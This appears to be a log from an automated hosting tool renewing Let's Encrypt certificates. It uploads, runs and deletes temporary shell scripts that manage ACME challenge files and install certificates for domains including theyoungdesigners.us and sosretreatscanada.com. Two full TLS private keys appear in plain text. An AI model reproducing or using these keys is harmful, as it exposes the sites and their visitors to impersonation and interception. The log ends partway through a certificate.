    show_file('/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-14 06:02:19: 

chmod 755 /tmp/pkp950965; /tmp/pkp950965; rm /tmp/pkp950965

2026-06-14 06:02:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt	7579
b5:61:3c:ee:0c:43:f6:07:49:21:d6:2a:50:89:f2:06

-----BEGIN CERTIFICATE-----
MIIFdTCCBF2gAwIBAgISBVMcSCMj9eg/7aRpxAWzhetrMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjE0MDUwMzQ2WhcNMjYwOTEyMDUwMzQ1WjAgMR4wHAYDVQQD
ExVzb3NyZXRyZWF0c2NhbmFkYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCC0DY6TNeAE6rFJr4H5+jDcmNCS67t9PH/X4kskpxn9oEn0CF2wv8W
G74VY/wHA6qXAVn60M1jHfkTqOg2GWTm+ud4NHRgRR2r20pEzVE7dFQfqe9x0UHD
iAFwpaEkBlzg3yYUZjaFa3S1JkVc55Tgr9VKxwAaY4u0RYkJU2KXVtpBufeGx9KZ
ZTS0Vn2erf85AncVeTVHI7hv5FsjXADA4ivo7lVZyDalSoZXoEQc9o6RhGsQKAcd
C1hlztf4EYvAWvu35f6NJ74n8Lnr4pdxffKCAYKagAu+yxXaPf63od7puaAuOujv
7GIli3uxPLRT2MX6VIvy0owDiOVsO5oxAgMBAAGjggKUMIICkDAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQU8IaFRtvB+uXtnMJOKpLlPeiizFAwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55
LFV4+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIx
LmkubGVuY3Iub3JnLzCBkQYDVR0RBIGJMIGGgg5zb3NyZXRyZWF0cy5jYYIUc29z
cmV0cmVhdHNjYW5hZGEuY2GCFXNvc3JldHJlYXRzY2FuYWRhLmNvbYISd3d3LnNv
c3JldHJlYXRzLmNhghh3d3cuc29zcmV0cmVhdHNjYW5hZGEuY2GCGXd3dy5zb3Ny
ZXRyZWF0c2NhbmFkYS5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8xMDguY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAr2eIO1ewTt2Pptl+9i6o64EKx3Fg8CReVdYML+eF
hzoAAAGexLlFQgAABAMARjBEAiBrXPSwfT4sYymTo8VWGIX1RV6CplsAMhftkGOC
syOgOAIgJQr2KcRSsx5xWqKz0Nk7gvBAzMqlcja82IahlurwRfkAfQBs/lAZQ6he
qRa8UtEz5NzJHvFBHH0lhCDRc4CeGBjrOgAAAZ7EuUbxAAgAAAUAEGc6lAQDAEYw
RAIgO5k3/ppoxKTRffH0sS066e4umRVGaI83ETLIV/h1VGoCIDcG1Mwh21KjLdk+
IoANoibeCEraNZ6+XuVgTdT6dehpMA0GCSqGSIb3DQEBCwUAA4IBAQANMkfVjDw/
hyjOfvHN4hyGI6/k+xdYBoeFQ7z3h5Ac7vd176aVT4F6Xg7I0KJ8B139ADXsQx8A
ihJOAN3Pdj41ToCCLbxvNZu5NAgPFjCWWiiQ5JDrRTuIDezFW20PkSzi0WIO7iqJ
v4AEFd/RvHtlnyRsTouNiQVkWaSkDrUbIcNrc20DRvM5xLa3TYXrPAY5Pt2r5sJg
enCojaFY6owf1US9FFXAPTkZOcDZAPF8CzHrThE+20er90Emxgt97CW8W8VQIdoX
DiHcbvDVN/vj78uzhXDq1OrJmXBnAKIkriajdDEbo1AT+XaCutgefV0sxAB+Pn40
lK/XtgSn/Acs
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQCC0DY6TNeAE6rF
Jr4H5+jDcmNCS67t9PH/X4kskpxn9oEn0CF2wv8WG74VY/wHA6qXAVn60M1jHfkT
qOg2GWTm+ud4NHRgRR2r20pEzVE7dFQfqe9x0UHDiAFwpaEkBlzg3yYUZjaFa3S1
JkVc55Tgr9VKxwAaY4u0RYkJU2KXVtpBufeGx9KZZTS0Vn2erf85AncVeTVHI7hv
5FsjXADA4ivo7lVZyDalSoZXoEQc9o6RhGsQKAcdC1hlztf4EYvAWvu35f6NJ74n
8Lnr4pdxffKCAYKagAu+yxXaPf63od7puaAuOujv7GIli3uxPLRT2MX6VIvy0owD
iOVsO5oxAgMBAAECgf9HmfAUuTq7wAgZIbuiWC3vzQzHnOWDGi/buE89NoKl5SeM
wz+N4e3+C/Ffg/rPXBJj1TmLL/874YwUVr/D3OJ+C5fnE88fYrV6++0K+9ca0/G3
4yxNAF0eybMAFai+Lz1nWL1fLRNqtAaNoQUWdSvoUFZPN922lAZEBkub7yhn7Tnz
6jfDEKz9kyUr7JCrOmCFJyA7+3RxrdAEY7JQvAkM/txwAbDz4s9gIJUBwE553aI4
GrsfDwHvM1JIK8kIKju1Bh7pl0ZLhB/QilixTmv1RdgTpUwvKUWMvtyCnl9KMUYY
jpjK5Eu2UF7XksFaIizG/sqQWOtuoLmk+vQrpekCgYEAuBu3RqqkvCnrBimNGQST
LY/xm3m3bjG5ratfV0lIKH7pbfwgWn3M4Kyhm42X5e9RfoEU6kffOblRoN/uvKQT
CBAoHmJag8Gla4Ul0B71PZvHziMs2S2kkvHDpmPOckbmjUS29X+IiORPADeh0STB
02/QLTXmSjlayktTB2sdnQkCgYEAteTlYGE3EcQzXkcQNhLVFUKz37JlZmP04J49
1KmPqhAhjWeuAGodHGbY863Kl8S810YfqmO6+p5+GjW7cfcjte83D7D2Pgd+0QEJ
MRUKX4SDk9w5JQ3ugcdJ0wUzs+MGkGAfxiILDIBWqn5YBKl1HraBgZgaP2MO4IIr
LsyihekCgYBovfPuM0UXe+2nCtqoQg8Nm9gD8SJngci2QkoymZGA4HsjRI6PjQST
SgODQPILMbU2eG+SviMEbyc+lEf5cIsXSkHYz3HZhcD7w7t4hTRWwZrR7vcj87Cu
nPcHYb7hCu89rbs9PjpKT0GWyQ+5seTHytQv9Hs4/Rpm/qWVEd6+KQKBgQCZNFJ+
+2MG89rQbcqZwQL5BVW79Oazdz2qc55goPEArNWV5N4KO1aJtZbGqHsbmfn02HuT
aKz0qspMCTX4p9DMTNBzxvmhBW8rW1QCo1Y5XcP1pmf7beCWLuVfd+I0gePldxFM
MSBdRzu4HvLD+ndLhy1Nmm+BNE4zi3AT2wiJAQKBgBjo9wtV+j7IAc51lEGSdzVG
NkI89kHFKRCgxvi7QvaQhDLqjMHLZ5zZXP7psl3mjW/2YkJZRPpDgy7SQ4U7g+zI
p049LmUSjpTv9kRyM0zjuJ708BBLExxwGUrFmPJqCKLqgE6mh8tCy9Ts+sr0B8SF
6f1g/Zuf+KuBhsMptB94
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-15 06:00:01: Establishing a connection
2026-06-15 06:00:02: Establishing a connection
2026-06-15 06:00:02: 

PUT: /tmp/pkp573929

#!/bin/bash
if [ -d "/var/www/theyoungdesigners_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-15 06:00:03: 

chmod 755 /tmp/pkp573929; /tmp/pkp573929; rm /tmp/pkp573929

2026-06-15 06:00:03: 


1


2026-06-15 06:00:04: Establishing a connection
2026-06-15 06:00:05: 

PUT: /tmp/pkp317978

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cat > W5t4X4j7-sXm6CyKfPIDNRWdiUuz9AJFiXEeZp5McGo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
W5t4X4j7-sXm6CyKfPIDNRWdiUuz9AJFiXEeZp5McGo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 W5t4X4j7-sXm6CyKfPIDNRWdiUuz9AJFiXEeZp5McGo
cat > vkKArasXnwhwCMXhielJtL7EipGG7LzyRIbuzkBhTMw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
vkKArasXnwhwCMXhielJtL7EipGG7LzyRIbuzkBhTMw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 vkKArasXnwhwCMXhielJtL7EipGG7LzyRIbuzkBhTMw


2026-06-15 06:00:05: 

chmod 755 /tmp/pkp317978; /tmp/pkp317978; rm /tmp/pkp317978

2026-06-15 06:00:05: 




2026-06-15 06:00:11: Establishing a connection
2026-06-15 06:00:11: 

PUT: /tmp/pkp862994

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
rm W5t4X4j7-sXm6CyKfPIDNRWdiUuz9AJFiXEeZp5McGo
rm vkKArasXnwhwCMXhielJtL7EipGG7LzyRIbuzkBhTMw


2026-06-15 06:00:11: 

chmod 755 /tmp/pkp862994; /tmp/pkp862994; rm /tmp/pkp862994

2026-06-15 06:00:11: 




2026-06-15 06:00:11: Establishing a connection
2026-06-15 06:00:12: 

PUT: /tmp/pkp265424

#!/bin/bash
temp_file=$(mktemp)
TARGET=f13c10b0bf992120e8f0bf3f4c84b2c5.crt

cat > $temp_file <<'endmsg'
af:cd:1a:f6:49:d8:53:99:50:b3:c5:b2:3b:3f:6e:aa

-----BEGIN CERTIFICATE-----
MIIFHDCCBASgAwIBAgISBrthG3MLZnIBFzUKT7cZ83EgMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjE1MDUwMTQwWhcNMjYwOTEzMDUwMTM5WjAfMR0wGwYDVQQD
ExR0aGV5b3VuZ2Rlc2lnbmVycy51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAObrwFlZuwvlqkb6oVDp/LuhJl7AcgIEBw0IVp/fd1sztoe3vvgR8ulH
cTrqkSyi7OppjLIeSMEKIEcxThZAwAOCqbQpDfL+FrTNtS7J/IWGAUej2Hd6p3hY
/jXWmVUSvTLrdbnX7cwlMQ9DT2oTEOsD06wi9ttWbQuoDTWRZg2i3U917TOzDpdN
tYyMJk5ltU6W9PAfiIkJnsveuUCf3xn8Xr1uuX351cm0kY0YyPh2XcWP3oyk7Y1K
8rwYELzohXsshDAst2Ffp2V01CsNoex+glIanwQLZZTt1nNADApZRpzU9M2IeqmR
P0p0VnG1hSjegVPFt/tETKPZHDobhEMCAwEAAaOCAjwwggI4MA4GA1UdDwEB/wQE
AwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBRvOfLrVwbZCFrryAj0HyQagdb3qDAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId
1jIfgQyBDDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIu
aS5sZW5jci5vcmcvMDkGA1UdEQQyMDCCFHRoZXlvdW5nZGVzaWduZXJzLnVzghh3
d3cudGhleW91bmdkZXNpZ25lcnMudXMwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxlbmNyLm9yZy8zMy5jcmwwggEM
BgorBgEEAdZ5AgQCBIH9BIH6APgAdgCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9y
Z31VNy4Z2AAAAZ7J3bU5AAAEAwBHMEUCIDIQ/yYSY6ubXcyMbejQB0O2OrwVmxc2
q2npmsqdxmt2AiEA5uw3+/TlDEdHHDH79pDJt95PPYew518+wHqU9nf8TjYAfgBG
r4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ7J3bYTAAgAAAUACcig
+wQDAEcwRQIhAN5oK/GWXx7Sih9XESnDTzghIiXqaLAbrksGVRC2cuIUAiAmOcXI
HMu1TwKvrNxrDEnLDY7bWMJRt6ot61CaKDRbGjANBgkqhkiG9w0BAQsFAAOCAQEA
ru0Kgmglb3O0lFSLKzLYgY/ZKafVTo9CdtET6BJqEWLQTth6GJzUP5zkxqpsBrZT
08IMGNdEJEHKgSzFYOKQI77YmElZg/bhIduGS3+ipI5Pzr8uuKSEGerJO7ep6Ky3
962gyg19TWMCkYjm99UY0iouiRSxy1Sl0hgo5FKXCXN1odEafAQn+bLaP/7RrX48
UhVo/XDFiJBoyDU+jORcPdekYv9KV2ZQ5rDqSRHHq0Ve/DBFGFJF5TBAI6SLuI44
/gS3MtNqSvi+E2cGNe+IC/s6WwAO7iqB9U21rH1H6G8gfLEKQGwHJM7WZ38SKyV+
PsmeW90bmc2VMmboaoysxQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDm68BZWbsL5apG
+qFQ6fy7oSZewHICBAcNCFaf33dbM7aHt774EfLpR3E66pEsouzqaYyyHkjBCiBH
MU4WQMADgqm0KQ3y/ha0zbUuyfyFhgFHo9h3eqd4WP411plVEr0y63W51+3MJTEP
Q09qExDrA9OsIvbbVm0LqA01kWYNot1Pde0zsw6XTbWMjCZOZbVOlvTwH4iJCZ7L
3rlAn98Z/F69brl9+dXJtJGNGMj4dl3Fj96MpO2NSvK8GBC86IV7LIQwLLdhX6dl
dNQrDaHsfoJSGp8EC2WU7dZzQAwKWUac1PTNiHqpkT9KdFZxtYUo3oFTxbf7REyj
2Rw6G4RDAgMBAAECggEAYRQIM6f47gn5uUhBTBJqWPjo+BmAdF98FVsFi8V22IUX
fdvd8U0eaTrLG+Ej8fd2kR+ZcgIwRNM8eaF9OfazomYqcN53ikmOgykdu9NXkUyi
Ohtj8+rA/+OtzzVuFalAl+kL/3qK8nFKPCfoeWgViy97K9kxHUmqoyVdlEERfbZH
NpHMWCf0dRsujBJWCjOAVY4BuO9QPVTzBI4S6R9+0tJqper+7LVrNDxyO/7S5qHl
51+WdxE4FM5+lPi1q05/XH/iSy/IijiLjR3WAHaa/0wiPKd6xXx90vo9RP0vsgmL
d72xb7WxWNex1u4wZ915hha+lE7jrfjvub7Cyz1Y4QKBgQD7ftgTJoBt72rk73eF
rW5HCanfCtS2/fls3yehdhE0SAgrL0ziTOwdVqF7sm3wGW6RDw2lPBtrJiqv43wp
9gjKCPnqkog8oDs9pJRSq4Nv/79TUtjrshRz0tOyhWvs7wVi37Q+OwKNXXbNuvsJ
XvRwTeLH/T04zzATnbASZG5U4wKBgQDrDpGf7FSM63CfjRYFKh27Euawta+alz9f
/ioFrN3XnfglX3tfRDp76adZNv5jw4iYmRPMXQrDw9Z6ElS2Pdar1zlTE8fuCoNm
Rt5sZNzFSFkEOFohBwiz2kTqwB+JKieuAJV+f3b2T1Tu3yUpZIWvdGCXzve8q6cf
XjaP5lqRIQKBgQCrCBs4AtIKcWyXnocBAO3jH55Hkd0RSW0L7kLMWjfe/zGW9Mbr
i3ZziUuujKyZQSJhQgR8n4DiAIW9Mg5plulpRGt5bAd8e1duV3OLORrc2ucpakkd
GPExx2mymWvJKM/X6txwCb91ld9Kj+NS/yFrEnyslvrAnJ5MaMup5mTmEwKBgGRd
WSKu1z9AfFsz87YK0J0DKgtD2JIqiH3lWW4I7MRXCBB1H4mC6XHlR3ZZe+9/GwEF
Q6XcCG+kXBzNXOxfpRzEjg6CALkMNiTil7AytO1rwc6CfUFi7n1U8l5F4HFB1aV/
TFWx+UqcfwhrsUNmT4qmJ2RKlA80P+yt3qA83GjhAoGAKb99Usbx3B6GOWJ47Jlx
wB6naApPIV6kGfPm+cOfdSjgerG2VIJ1KJvfZVjB6VYXgO/XVpzEw2bcEJI65AST
feYzLdlVJP0YK0htucnNE737SrZBA03e6Fi8Ruzxm0hxjrEoNHyZmvpwohJR2Daa
Yf07TZMzaDL1Pe+IGX4//No=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
